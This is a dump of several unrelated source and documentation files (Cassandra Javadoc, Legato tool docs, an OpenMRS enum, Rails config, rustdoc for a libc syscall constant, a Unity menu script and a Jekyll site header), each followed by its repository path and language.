</ul> <a name="CqlMetadata(java.util.Map, java.util.Map, java.lang.String, java.lang.String)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>CqlMetadata</h4> <pre>public&nbsp;CqlMetadata(java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;name_types, java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;value_types, java.lang.String&nbsp;default_name_type, java.lang.String&nbsp;default_value_type)</pre> </li> </ul> <a name="CqlMetadata(org.apache.cassandra.thrift.CqlMetadata)"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>CqlMetadata</h4> <pre>public&nbsp;CqlMetadata(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;other)</pre> <div class="block">Performs a deep copy on <i>other</i>.</div> </li> </ul> </li> </ul> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method_detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="deepCopy()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>deepCopy</h4> <pre>public&nbsp;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;deepCopy()</pre> <dl> <dt><strong>Specified by:</strong></dt> <dd><code>deepCopy</code>&nbsp;in interface&nbsp;<code>org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;</code></dd> </dl> </li> </ul> <a name="clear()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>clear</h4> <pre>public&nbsp;void&nbsp;clear()</pre> <dl> <dt><strong>Specified by:</strong></dt> <dd><code>clear</code>&nbsp;in interface&nbsp;<code>org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;</code></dd> </dl> </li> </ul> <a name="getName_typesSize()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getName_typesSize</h4> <pre>public&nbsp;int&nbsp;getName_typesSize()</pre> </li> </ul> <a name="putToName_types(java.nio.ByteBuffer, java.lang.String)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>putToName_types</h4> <pre>public&nbsp;void&nbsp;putToName_types(java.nio.ByteBuffer&nbsp;key, java.lang.String&nbsp;val)</pre> </li> </ul> <a name="getName_types()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getName_types</h4> <pre>public&nbsp;java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;getName_types()</pre> </li> </ul> <a name="setName_types(java.util.Map)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setName_types</h4> <pre>public&nbsp;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;setName_types(java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;name_types)</pre> </li> </ul> <a name="unsetName_types()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>unsetName_types</h4> <pre>public&nbsp;void&nbsp;unsetName_types()</pre> </li> </ul> <a name="isSetName_types()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>isSetName_types</h4> <pre>public&nbsp;boolean&nbsp;isSetName_types()</pre> <div class="block">Returns true if field name_types is set (has been assigned a value) and false otherwise</div> </li> </ul> <a name="setName_typesIsSet(boolean)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setName_typesIsSet</h4> <pre>public&nbsp;void&nbsp;setName_typesIsSet(boolean&nbsp;value)</pre> </li> </ul> <a name="getValue_typesSize()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getValue_typesSize</h4> <pre>public&nbsp;int&nbsp;getValue_typesSize()</pre> </li> </ul> <a name="putToValue_types(java.nio.ByteBuffer, java.lang.String)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>putToValue_types</h4> <pre>public&nbsp;void&nbsp;putToValue_types(java.nio.ByteBuffer&nbsp;key, java.lang.String&nbsp;val)</pre> </li> </ul> <a name="getValue_types()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getValue_types</h4> <pre>public&nbsp;java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;getValue_types()</pre> </li> </ul> <a name="setValue_types(java.util.Map)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setValue_types</h4> <pre>public&nbsp;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;setValue_types(java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;value_types)</pre> </li> </ul> <a name="unsetValue_types()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>unsetValue_types</h4> <pre>public&nbsp;void&nbsp;unsetValue_types()</pre> </li> </ul> <a name="isSetValue_types()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>isSetValue_types</h4> <pre>public&nbsp;boolean&nbsp;isSetValue_types()</pre> <div class="block">Returns true if field value_types is set (has been assigned a value) and false otherwise</div> </li> </ul> <a name="setValue_typesIsSet(boolean)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setValue_typesIsSet</h4> <pre>public&nbsp;void&nbsp;setValue_typesIsSet(boolean&nbsp;value)</pre> </li> </ul> <a name="getDefault_name_type()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getDefault_name_type</h4> <pre>public&nbsp;java.lang.String&nbsp;getDefault_name_type()</pre> </li> </ul> <a name="setDefault_name_type(java.lang.String)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setDefault_name_type</h4> <pre>public&nbsp;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;setDefault_name_type(java.lang.String&nbsp;default_name_type)</pre> </li> </ul> <a name="unsetDefault_name_type()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>unsetDefault_name_type</h4> <pre>public&nbsp;void&nbsp;unsetDefault_name_type()</pre> </li> </ul> <a name="isSetDefault_name_type()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>isSetDefault_name_type</h4> <pre>public&nbsp;boolean&nbsp;isSetDefault_name_type()</pre> <div class="block">Returns true if field default_name_type is set (has been assigned a value) and false otherwise</div> </li> </ul> <a name="setDefault_name_typeIsSet(boolean)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setDefault_name_typeIsSet</h4> <pre>public&nbsp;void&nbsp;setDefault_name_typeIsSet(boolean&nbsp;value)</pre> </li> </ul> <a name="getDefault_value_type()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getDefault_value_type</h4> <pre>public&nbsp;java.lang.String&nbsp;getDefault_value_type()</pre> </li> </ul> <a name="setDefault_value_type(java.lang.String)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setDefault_value_type</h4> <pre>public&nbsp;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;setDefault_value_type(java.lang.String&nbsp;default_value_type)</pre> </li> </ul> <a name="unsetDefault_value_type()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>unsetDefault_value_type</h4> <pre>public&nbsp;void&nbsp;unsetDefault_value_type()</pre> </li> </ul> <a name="isSetDefault_value_type()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>isSetDefault_value_type</h4> <pre>public&nbsp;boolean&nbsp;isSetDefault_value_type()</pre> <div class="block">Returns true if field default_value_type is set (has been assigned a value) and false otherwise</div> </li> </ul> <a name="setDefault_value_typeIsSet(boolean)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setDefault_value_typeIsSet</h4> <pre>public&nbsp;void&nbsp;setDefault_value_typeIsSet(boolean&nbsp;value)</pre> </li> </ul> <a name="setFieldValue(org.apache.cassandra.thrift.CqlMetadata._Fields, java.lang.Object)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setFieldValue</h4> <pre>public&nbsp;void&nbsp;setFieldValue(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&nbsp;field, java.lang.Object&nbsp;value)</pre> <dl> <dt><strong>Specified by:</strong></dt> <dd><code>setFieldValue</code>&nbsp;in interface&nbsp;<code>org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;</code></dd> </dl> </li> </ul> <a name="getFieldValue(org.apache.cassandra.thrift.CqlMetadata._Fields)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getFieldValue</h4> <pre>public&nbsp;java.lang.Object&nbsp;getFieldValue(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&nbsp;field)</pre> <dl> <dt><strong>Specified by:</strong></dt> <dd><code>getFieldValue</code>&nbsp;in interface&nbsp;<code>org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;</code></dd> </dl> </li> </ul> <a name="isSet(org.apache.cassandra.thrift.CqlMetadata._Fields)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>isSet</h4> <pre>public&nbsp;boolean&nbsp;isSet(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&nbsp;field)</pre> <div class="block">Returns true if field corresponding to fieldID is set (has been assigned a value) and false otherwise</div> <dl> <dt><strong>Specified by:</strong></dt> <dd><code>isSet</code>&nbsp;in interface&nbsp;<code>org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;</code></dd> </dl> </li> </ul> <a name="equals(java.lang.Object)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>equals</h4> <pre>public&nbsp;boolean&nbsp;equals(java.lang.Object&nbsp;that)</pre> <dl> <dt><strong>Overrides:</strong></dt> <dd><code>equals</code>&nbsp;in class&nbsp;<code>java.lang.Object</code></dd> </dl> </li> </ul> <a name="equals(org.apache.cassandra.thrift.CqlMetadata)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>equals</h4> <pre>public&nbsp;boolean&nbsp;equals(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;that)</pre> </li> </ul> <a name="hashCode()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>hashCode</h4> <pre>public&nbsp;int&nbsp;hashCode()</pre> <dl> <dt><strong>Overrides:</strong></dt> <dd><code>hashCode</code>&nbsp;in class&nbsp;<code>java.lang.Object</code></dd> </dl> </li> </ul> <a name="compareTo(org.apache.cassandra.thrift.CqlMetadata)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>compareTo</h4> <pre>public&nbsp;int&nbsp;compareTo(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;other)</pre> <dl> <dt><strong>Specified by:</strong></dt> <dd><code>compareTo</code>&nbsp;in interface&nbsp;<code>java.lang.Comparable&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&gt;</code></dd> </dl> </li> </ul> <a name="fieldForId(int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>fieldForId</h4> <pre>public&nbsp;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&nbsp;fieldForId(int&nbsp;fieldId)</pre> <dl> <dt><strong>Specified by:</strong></dt> <dd><code>fieldForId</code>&nbsp;in interface&nbsp;<code>org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;</code></dd> </dl> </li> </ul> <a name="read(org.apache.thrift.protocol.TProtocol)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>read</h4> <pre>public&nbsp;void&nbsp;read(org.apache.thrift.protocol.TProtocol&nbsp;iprot) throws org.apache.thrift.TException</pre> <dl> <dt><strong>Specified by:</strong></dt> <dd><code>read</code>&nbsp;in interface&nbsp;<code>org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;</code></dd> <dt><span class="strong">Throws:</span></dt> <dd><code>org.apache.thrift.TException</code></dd></dl> </li> </ul> <a name="write(org.apache.thrift.protocol.TProtocol)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>write</h4> <pre>public&nbsp;void&nbsp;write(org.apache.thrift.protocol.TProtocol&nbsp;oprot) throws org.apache.thrift.TException</pre> <dl> <dt><strong>Specified by:</strong></dt> <dd><code>write</code>&nbsp;in interface&nbsp;<code>org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;</code></dd> <dt><span class="strong">Throws:</span></dt> <dd><code>org.apache.thrift.TException</code></dd></dl> </li> </ul> <a name="toString()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>toString</h4> <pre>public&nbsp;java.lang.String&nbsp;toString()</pre> <dl> <dt><strong>Overrides:</strong></dt> <dd><code>toString</code>&nbsp;in class&nbsp;<code>java.lang.Object</code></dd> </dl> </li> </ul> <a name="validate()"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>validate</h4> <pre>public&nbsp;void&nbsp;validate() throws org.apache.thrift.TException</pre> <dl><dt><span class="strong">Throws:</span></dt> <dd><code>org.apache.thrift.TException</code></dd></dl> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="class-use/CqlMetadata.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../org/apache/cassandra/thrift/CounterSuperColumn._Fields.html" title="enum in org.apache.cassandra.thrift"><span class="strong">Prev Class</span></a></li> <li><a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift"><span class="strong">Next Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?org/apache/cassandra/thrift/CqlMetadata.html" target="_top">Frames</a></li> <li><a href="CqlMetadata.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li><a href="#nested_class_summary">Nested</a>&nbsp;|&nbsp;</li> <li><a href="#field_summary">Field</a>&nbsp;|&nbsp;</li> <li><a href="#constructor_summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li><a href="#field_detail">Field</a>&nbsp;|&nbsp;</li> <li><a href="#constructor_detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> <p class="legalCopy"><small>Copyright &copy; 2013 The Apache Software Foundation</small></p> </body> </html>
bkcloud/bkplatform
cassandra-scripts/javadoc/org/apache/cassandra/thrift/CqlMetadata.html
HTML
mpl-2.0
42,543
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html data-context="Build Apps" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"/> <title>app - Legato Docs</title> <meta content="legato™ is an open source Linux-based embedded platform designed to simplify connected IoT application development" name="description"/> <meta content="legato, iot" name="keywords"/> <meta content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" name="viewport"/> <meta content="19.09.0" name="legato-version"/> <link href="resources/images/legato.ico" rel="shortcut icon"/> <link href="resources/images/legato.ico" rel="icon" type="image/x-icon"/> <link href="resources/images/legato.ico" rel="shortcut icon" type="image/x-icon"/> <link href="resources/images/legato.ico" rel="apple-touch-icon" type="image/x-icon"/> <link href="resources/css/style.css" media="screen" rel="stylesheet" type="text/css"/> <link href="resources/css/font-awesome.css" rel="stylesheet" type="text/css"/> <!--[if IE]> <script src="resources/js/html5shiv.js"></script> <script src="resources/js/respond.js"></script> <![endif]--> <script src="https://code.jquery.com/jquery-2.2.3.min.js"></script> <script src="resources/js/main.js"></script> <script src="tocs/Build_Apps_Tools.json"></script> </head> <body> <noscript> <input class="modal-closing-trick" id="modal-closing-trick" type="checkbox"/> <div id="nojs"> <label for="modal-closing-trick"> <span>You seem to not have Javascript <a href="http://enable-javascript.com">enabled</a>, so site functionality like the search and navigation tree won't work.</span> </label> </div> </noscript> <div class="wrapper"> <div class="fa fa-bars documentation" id="menu-trigger"></div> <div id="top"> <header> <nav> <a class="navlink" href="/">Introduction</a><a class="navlink selected" href="buildAppsMain.html">Build Apps</a><a class="navlink" href="buildPlatformMain.html">Build Platform</a><a class="navlink" href="aboutMain.html">About</a> </nav> </header> </div> <div class="white" id="menudocumentation"> <header> <a href="/"> <img alt="Back to Legato Homepage" id="logo" src="resources/images/legato_logo.png"/></a> <h2>/ Build Apps</h2> <nav class="secondary"> <a href="getStarted.html">Get Started</a><a href="concepts.html">Concepts</a><a href="apiGuidesMain.html">API Guides</a><a class="link-selected" href="tools.html">Tools</a><a href="howToMain.html">How To</a><a href="experimentalMain.html">Experimental Features</a> </nav> <nav class="ui-front"> <i class="fa fa-search" id="search-icon"></i> <input id="searchbox" placeholder="Search"/> </nav> </header> </div> <div id="resizable"> <div id="left"> <div id="tree1"></div> </div> </div> <div class="content"> <div class="header"> <div class="headertitle"> <h1 class="title">app </h1> </div> </div><div class="contents"> <div class="textblock"><h1>NAME</h1> <p><b>app</b> - call the app script on the target</p> <h1>SYNOPSIS</h1> <p><code>app [start|stop|restart|remove|status|version|info] APP_NAME [DEST_IP]</code><br/> <code>app [list|status|info] [DEST_IP]</code><br/> <code>app install UPDATE_FILE [DEST_IP]</code><br/> <code>app runProc APP_NAME [PROC_NAME] [options] [DEST_IP]</code><br/> </p> <h1>DESCRIPTION</h1> <pre class="fragment"> DEST_IP is the IP address of the target device. If DEST_IP is not specified on the command line, the contents of the DEST_IP environment variable will be used. Command-specific usage: [start|stop|restart|remove|status|version|info] Takes an application name. [list|status|info] Takes no application names. runProc --exe=&lt;exePath&gt; Use the executable at &lt;exePath&gt;. &lt;exePath&gt; is from the perspective of the app (ie. /exe would be at the sandbox root if the app is sandboxed). --priority=&lt;priorityStr&gt; Sets the priority of the process. &lt;priorityStr&gt; can be either 'idle', 'low', 'medium', 'high', 'rt1', 'rt2', ... 'rt32'. --faultAction=&lt;action&gt; Sets the fault action for the process. &lt;action&gt; can be either 'ignore', 'restartProc', 'restartApp', 'stopApp'. -- [&lt;args&gt; ...] The -- option is used to specify command line arguments to the process. Everything following the -- option is taken as arguments to the process to be started. Therefore the -- option must be the last option to appCtrl runProc. If the -- option is not used then the configured arguments are used if available. install Apply the given update pack to the target device at a given IP address. UPDATE_FILE is the update pack file to be applied. E.g., 'myApp.ar7.update' or 'system.wp85.update'. System update files are created by 'mksys'. App update files are created by 'mkapp'. App removal update packs and firmware update packs can be created using 'update-pack'.</pre> <hr/> <p class="copyright"> Copyright (C) Sierra Wireless Inc. </p> </div></div> <br clear="left"/> </div> </div> <link href="resources/css/jqtree.css" rel="stylesheet" type="text/css"/> <script src="resources/js/tree.jquery.js" type="text/javascript"></script> <script src="resources/js/jquery.cookie.js"></script> <script src="https://code.jquery.com/ui/1.11.4/jquery-ui.min.js"></script> <link href="resources/css/perfect-scrollbar.min.css" rel="stylesheet"/> <script src="resources/js/perfect-scrollbar.jquery.min.js"></script> </body> </html>
legatoproject/legato-docs
19_09/toolsHost_app.html
HTML
mpl-2.0
5,741
/** * The contents of this file are subject to the OpenMRS Public License * Version 1.0 (the "License"); you may not use this file except in * compliance with the License. You may obtain a copy of the License at * http://license.openmrs.org * * Software distributed under the License is distributed on an "AS IS" * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the * License for the specific language governing rights and limitations * under the License. * * Copyright (C) OpenMRS, LLC. All Rights Reserved. */ package org.openmrs.web.filter.initialization; /** * The different tasks that the wizard could be executing at a given time during the initialization * process. */ public enum WizardTask { CREATE_SCHEMA("install.progress.tasks.create.schema"), CREATE_DB_USER("install.progress.tasks.create.user"), CREATE_TABLES("install.progress.tasks.create.tables"), ADD_CORE_DATA("install.progress.tasks.add.coreData"), ADD_DEMO_DATA("install.progress.tasks.add.demoData"), UPDATE_TO_LATEST("install.progress.tasks.update"), IMPORT_TEST_DATA("install.progress.tasks.test"), ADD_MODULES("install.progress.tasks.addModules"); private final String displayText; /** * Constructor * * @param displayText The displayText for the enum value */ private WizardTask(String displayText) { this.displayText = displayText; } /** * Returns the displayText to be printed in the IU * * @return The displayText for the enum value */ public String displayText() { return this.displayText; } }
Bhamni/openmrs-core
web/src/main/java/org/openmrs/web/filter/initialization/WizardTask.java
Java
mpl-2.0
1,605
require File.expand_path('../boot', __FILE__) require 'rails/all' # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(:default, Rails.env) module Wejoin class Application < Rails::Application # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. # config.time_zone = 'Central Time (US & Canada)' # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] # config.i18n.default_locale = :de end end
tcz001/WeJoin
config/application.rb
Ruby
mpl-2.0
983
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="generator" content="rustdoc"> <meta name="description" content="API documentation for the Rust `SYS_perf_event_open` constant in crate `libc`."> <meta name="keywords" content="rust, rustlang, rust-lang, SYS_perf_event_open"> <title>libc::notbsd::linux::other::x86_64::SYS_perf_event_open - Rust</title> <link rel="stylesheet" type="text/css" href="../../../../../rustdoc.css"> <link rel="stylesheet" type="text/css" href="../../../../../main.css"> <link rel="shortcut icon" href="https://doc.rust-lang.org/favicon.ico"> </head> <body class="rustdoc"> <!--[if lte IE 8]> <div class="warning"> This old browser is unsupported and will most likely display funky things. </div> <![endif]--> <nav class="sidebar"> <a href='../../../../../libc/index.html'><img src='https://www.rust-lang.org/logos/rust-logo-128x128-blk-v2.png' alt='logo' width='100'></a> <p class='location'><a href='../../../../index.html'>libc</a>::<wbr><a href='../../../index.html'>notbsd</a>::<wbr><a href='../../index.html'>linux</a>::<wbr><a href='../index.html'>other</a>::<wbr><a href='index.html'>x86_64</a></p><script>window.sidebarCurrent = {name: 'SYS_perf_event_open', ty: 'constant', relpath: ''};</script><script defer src="sidebar-items.js"></script> </nav> <nav class="sub"> <form class="search-form js-only"> <div class="search-container"> <input class="search-input" name="search" autocomplete="off" placeholder="Click or press ‘S’ to search, ‘?’ for more options…" type="search"> </div> </form> </nav> <section id='main' class="content constant"> <h1 class='fqn'><span class='in-band'><a href='../../../../index.html'>libc</a>::<wbr><a href='../../../index.html'>notbsd</a>::<wbr><a href='../../index.html'>linux</a>::<wbr><a href='../index.html'>other</a>::<wbr><a href='index.html'>x86_64</a>::<wbr><a class='constant' href=''>SYS_perf_event_open</a></span><span class='out-of-band'><span id='render-detail'> <a id="toggle-all-docs" href="javascript:void(0)" title="collapse all docs"> [<span class='inner'>&#x2212;</span>] </a> </span><a id='src-3344' class='srclink' href='../../../../../src/libc/unix/notbsd/linux/other/b64/x86_64.rs.html#126' title='goto source code'>[src]</a></span></h1> <pre class='rust const'>pub const SYS_perf_event_open: <a class='type' href='../../../../../libc/unix/notbsd/linux/other/b64/type.c_long.html' title='libc::unix::notbsd::linux::other::b64::c_long'>c_long</a><code> = </code><code>298</code></pre></section> <section id='search' class="content hidden"></section> <section class="footer"></section> <aside id="help" class="hidden"> <div> <h1 class="hidden">Help</h1> <div class="shortcuts"> <h2>Keyboard Shortcuts</h2> <dl> <dt>?</dt> <dd>Show this help dialog</dd> <dt>S</dt> <dd>Focus the search field</dd> <dt>&larrb;</dt> <dd>Move up in search results</dd> <dt>&rarrb;</dt> <dd>Move down in search results</dd> <dt>&#9166;</dt> <dd>Go to active search result</dd> <dt>+</dt> <dd>Collapse/expand all sections</dd> </dl> </div> <div class="infos"> <h2>Search Tricks</h2> <p> Prefix searches with a type followed by a colon (e.g. <code>fn:</code>) to restrict the search to a given type. </p> <p> Accepted types are: <code>fn</code>, <code>mod</code>, <code>struct</code>, <code>enum</code>, <code>trait</code>, <code>type</code>, <code>macro</code>, and <code>const</code>. </p> <p> Search functions by type signature (e.g. <code>vec -> usize</code> or <code>* -> vec</code>) </p> </div> </div> </aside> <script> window.rootPath = "../../../../../"; window.currentCrate = "libc"; window.playgroundUrl = ""; </script> <script src="../../../../../jquery.js"></script> <script src="../../../../../main.js"></script> <script defer src="../../../../../search-index.js"></script> </body> </html>
servo/doc.servo.org
libc/notbsd/linux/other/x86_64/constant.SYS_perf_event_open.html
HTML
mpl-2.0
4,916
using UnityEngine; using System.Collections; using UnityEngine.SceneManagement; public class menu : MonoBehaviour { public void loadscene (int index) { SceneManager.LoadScene(index); } public void quitter () { Application.Quit (); } }
Le-Bouc-Fou/Snakeur_rectif
old/Menu/menu.cs
C#
mpl-2.0
249
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Contributors</title> <meta name="description" content="MozillaTN ClubName is club under MozillaTN community actively contributing to various contribution of mozilla. "> <link rel="stylesheet" href="/css/main.css"> <link rel="canonical" href="http://localhost:4000/contributors/"> <link rel="alternate" type="application/rss+xml" title="MozillaTN Club Name" href="http://localhost:4000/feed.xml"> </head> <body> <header class="site-header"> <div class="wrapper"> <a class="site-title" href="/">MozillaTN Club Name</a> <nav class="site-nav"> <a href="#" class="menu-icon"> <svg viewBox="0 0 18 15"> <path fill="#424242" d="M18,1.484c0,0.82-0.665,1.484-1.484,1.484H1.484C0.665,2.969,0,2.304,0,1.484l0,0C0,0.665,0.665,0,1.484,0 h15.031C17.335,0,18,0.665,18,1.484L18,1.484z"/> <path fill="#424242" d="M18,7.516C18,8.335,17.335,9,16.516,9H1.484C0.665,9,0,8.335,0,7.516l0,0c0-0.82,0.665-1.484,1.484-1.484 h15.031C17.335,6.031,18,6.696,18,7.516L18,7.516z"/> <path fill="#424242" d="M18,13.516C18,14.335,17.335,15,16.516,15H1.484C0.665,15,0,14.335,0,13.516l0,0 c0-0.82,0.665-1.484,1.484-1.484h15.031C17.335,12.031,18,12.696,18,13.516L18,13.516z"/> </svg> </a> <div class="trigger"> <a class="page-link" href="/about/">About</a> 